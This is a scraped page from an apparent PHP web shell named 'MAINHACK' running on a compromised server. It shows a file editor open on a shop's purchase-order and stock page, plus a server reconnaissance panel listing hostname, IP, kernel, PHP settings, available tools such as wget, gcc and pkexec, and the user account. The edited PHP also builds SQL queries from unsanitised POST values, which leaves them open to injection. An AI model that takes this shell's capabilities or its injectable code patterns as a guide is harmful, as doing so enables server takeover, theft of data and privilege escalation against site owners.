[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: purchase-order.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'Add New Stock'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $message = ""; if(isset($_POST['add'])){ $pro_id = test_input($_POST['pro_id']); $qty = test_input($_POST['qty']); $date = test_input($_POST['date']); if($pro_id==""){ $message = '<script> $(document).ready(function(){ swal("Warning!", "Select supplier", "warning");}); </script>'; } if($qty==""){ $message = '<script> $(document).ready(function(){ swal("Warning!", "Enter stock qty", "warning");}); </script>'; } if($date==""){ $message = '<script> $(document).ready(function(){ swal("Warning!", "Enter stock date", "warning");}); </script>'; } if(!$message){ $stmt = $con->prepare("insert into stock (pro_id,qty,date,business_name) values(?,?,?,?) "); $stmt->execute(array($pro_id,$qty,$date,$shopname)); $stmtCheckClient = $con->prepare("SELECT * FROM products WHERE pro_id = ?"); $stmtCheckClient->execute(array($pro_id)); $client_result = $stmtCheckClient->fetch(); $db_qty = $client_result["qty"]; $qtytotal = $db_qty + $qty; $stmt = $con->prepare("update products set qty = ? where pro_id = ? "); $stmt->execute(array($qtytotal,$pro_id)); $message = '<script> $(document).ready(function(){ swal("Success!", "Enter stock date", "success");}); </script>'; } } if(isset($_POST['del'])){ $STK = mysqli_real_escape_string($new,$_POST['STK']); $pro_id = mysqli_real_escape_string($new,$_POST['pro_id']); $STK = test_input($_POST['STK']); $pro_id = test_input($_POST['pro_id']); $sele = "SELECT qty FROM stock WHERE stock_id = '$STK'"; $stok = mysqli_query($new,$sele); $dbstock = mysqli_fetch_array($stok); $Sqty = $dbstock['qty']; $seler = "SELECT qty FROM products WHERE pro_id = '$pro_id'"; $stokk = mysqli_query($new,$seler); $dbproid = mysqli_fetch_array($stokk); $Pqty = $dbproid['qty']; $oldqty = $Pqty - $Sqty; $stmt = $con->prepare("update products set qty = ? where pro_id = ?"); $stmt->execute(array($oldqty,$pro_id)); $DEL = mysqli_query($new,"DELETE FROM stock WHERE stock_id = '$STK'"); header("Location: add-new-stock"); } if(isset($_POST['editqty'])){ $fetch_pro_id = test_input($_POST['fetch_pro_id']); $update_qty = test_input($_POST['update_qty']); $seler = "SELECT qty FROM products WHERE pro_id = '$fetch_pro_id'"; $stokk = mysqli_query($new,$seler); $dbproid = mysqli_fetch_array($stokk); $Pqty1 = $dbproid['qty']; $sele = "SELECT qty FROM stock WHERE pro_id = '$fetch_pro_id'"; $stok = mysqli_query($new,$sele); $dbstock = mysqli_fetch_array($stok); $Sqty1 = $dbstock['qty']; $origalqty = $Pqty1 - $Sqty1; $stmt = $con->prepare("update products set qty = ? where pro_id = ?"); $stmt->execute(array($origalqty,$fetch_pro_id)); $final_qty = $origalqty + $update_qty; $stmt = $con->prepare("update products set qty = ? where pro_id = ?"); $stmt->execute(array($final_qty,$fetch_pro_id)); $stmt = $con->prepare("update stock set qty = ? where pro_id = ?"); $stmt->execute(array($origalqty,$fetch_pro_id)); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle1;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18">Purchase Order</h4> <?php if($message != "") { echo ($message) ; } ?> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle1;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div class="container mt-5"> <form method="POST"> <!-- Supplier Details --> <div class="form-row mb-4"> <div class="col-md-6"> <h3>Supplier</h3> <select name="supplierID" class="form-control" required> <option value="" selected>Select Supplier</option> <?php $result = mysqli_query($new,"SELECT * FROM supplier WHERE business_name = '$shopname'"); while($row = mysqli_fetch_array($result)){ ?> <option value="<?php echo $row['supplier_id']; ?>"><?php echo $row['supplier_name']; ?></option> <?php } ?> </select> </div> <div class="col-md-6"> <h3>Date</h3> <input type="date" name="purchase_date" class="form-control" value="<?php echo date("Y-m-d"); ?>"> </div> </div> <!-- Invoice Details --> <div class="form-row mb-4"> <div class="col-md-6"> <h3>Invoice/Voucher Number</h3> <input type="text" name="invoice_no" class="form-control" placeholder="Enter Invoice/Voucher Number"> </div> <div class="col-md-6"> <h3>Order Number</h3> <input type="text" name="order_no" class="form-control" value="<?php echo $order_no; ?>" readonly> </div> </div> <!-- Search Container --> <div class="search-container mb-4"> <table class="table table-bordered"> <thead class="thead-dark"> <tr> <th>Description</th> <th>Item Code</th> <th>Qty</th> <th>Cost</th> <th>Price</th> <th>Total</th> <th>Action</th> </tr> </thead> <tbody id="inputs-wrapper"> <tr class="inputs-container"> <td> <div style="position: relative;"> <input style="height:30px;width:200px" type="text" class="search-input" onkeyup="liveSearch(this)" onclick="clearInput(this)" placeholder="Search..." name="model[]"> <div class="results"></div> </div> </td> <td> <input readonly name="product_code[]" class="form-control item-code" placeholder="Item Code" type="text"> </td> <td> <input name="qty[]" class="form-control quantity-input" placeholder="Qty" type="text"> </td> <td> <input type="number" style="width:90px" step="0.01" name="cost[]" class="form-control price-input" onchange="calculateTotal()"> </td> <td> <input name="price[]" step="0.01" class="form-control" placeholder="Price" type="number"> </td> <td> <input name="total[]" class="form-control total-input" placeholder="Total" type="text" readonly> </td> <td> <input type="hidden" name="product_id[]" class="product-id"> <button class="btn btn-danger btn-sm remove-button" type="button" onclick="removeInputs(this)">-</button> </td> </tr> </tbody> </table> </div> <!-- Add New Row Button --> <button type="button" class="btn btn-success mb-3" onclick="addNewInputs()">+ Add Item</button> <!-- Subtotal & Submit --> <div class="form-row mb-4"> <div class="col-md-6"> <table class="table table-bordered"> <tr> <td><b>SUBTOTAL :</b></td> <td><b><span id="subtotal">0.00</span></b></td> <input type="hidden" name="total" id="subtotal" value="0.00"> </tr> </table> </div> <div class="col-md-6 text-right"> <button type="submit" name="submit" class="btn btn-primary">Submit</button> </div> </div> </form> </div> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> <!-- Include jQuery --> <!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> --> <script> $(document).ready(function() { // Event listener for input fields using event delegation for dynamic elements $('#inputs-wrapper').on('keyup', '.search-input', function() { var input = $(this).val().trim(); var container = $(this).closest('.inputs-container'); var resultsDiv = container.find('.results'); // If input is empty, clear the results and return if (input.length === 0) { resultsDiv.empty(); return; } // AJAX request to search the database $.ajax({ url: 'searchAjaxphp.php', // The PHP file for the backend method: 'GET', data: { query: input }, dataType: 'json', // Expect JSON response success: function(response) { // Clear previous results resultsDiv.empty(); // If there are results, populate the dropdown if (response.length > 0) { var resultList = '<ul class="result-list">'; $.each(response, function(index, product) { resultList += '<li class="result-item" data-id="' + product.pro_id + '" data-price="' + product.product_price + '">' + '<span class="result-name">' + product.product_name + '</span> - ' + '<span class="result-code">' + product.product_code + '</span></li>'; }); resultList += '</ul>'; resultsDiv.html(resultList); } else { resultsDiv.html('<div>No results found</div>'); } // Attach click event to result items container.find('.result-item').on('click', function() { var product_name = $(this).find('.result-name').text(); var product_code = $(this).find('.result-code').text(); var price = $(this).data('price'); var productId = $(this).data('id'); // Fill the input fields var inputs = container.find('input'); inputs.eq(0).val(product_name); // Model input inputs.eq(1).val(product_code); // Item Code input inputs.eq(2).val(0); // Set quantity to 0 inputs.eq(3).val(price); // Price input // Store the product ID container.find('input[name="product_id[]"]').val(productId); // Calculate and update the total and subtotal calculateTotal(inputs.eq(2), inputs.eq(3), inputs.eq(4)); updateSubtotal(); // Clear the search results resultsDiv.empty(); }); }, error: function() { resultsDiv.html('<div>Error loading data</div>'); } }); }); }); </script> <script> function addNewInputs() { var container = document.getElementById("inputs-wrapper"); var newRow = document.createElement("tr"); newRow.className = "inputs-container"; // Add HTML structure for a new product input row newRow.innerHTML = ` <td> <div style="position: relative;"> <input style="height:30px;width:200px" type="text" class="search-input" onkeyup="liveSearch(this)" onclick="clearInput(this)" placeholder="Search..." name="model[]"> <div class="results"></div> </div> </td> <td><input readonly name="product_code[]" style="height:30px;width:180px" type="text" class="item-code" placeholder="Item Code"></td> <td><input name="qty[]" step="0.01" style="height:30px;width:80px" type="text" class="quantity-input" placeholder="Qty"></td> <td><input type="number" step="0.01" style="height:30px;width:100%" name="cost[]" class="price-input"></td> <td><input name="price[]" step="0.01" style="height:30px;width:80px" type="number" placeholder="Price"></td> <td><input name="total[]" style="height:30px;width:100px" type="text" class="total-input" placeholder="Total" readonly></td> <td> <input type="hidden" name="product_id[]" class="product-id"> <button class="btn btn-danger btn-sm remove-button" type="button" onclick="removeInputs(this)">-</button> </td> `; container.appendChild(newRow); updateSubtotal(); // Update subtotal after adding new inputs } function removeInputs(buttonElement) { var inputContainer = buttonElement.closest('.inputs-container'); inputContainer.remove(); updateSubtotal(); // Update subtotal after removing inputs } </script> </div> <!--end row--> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002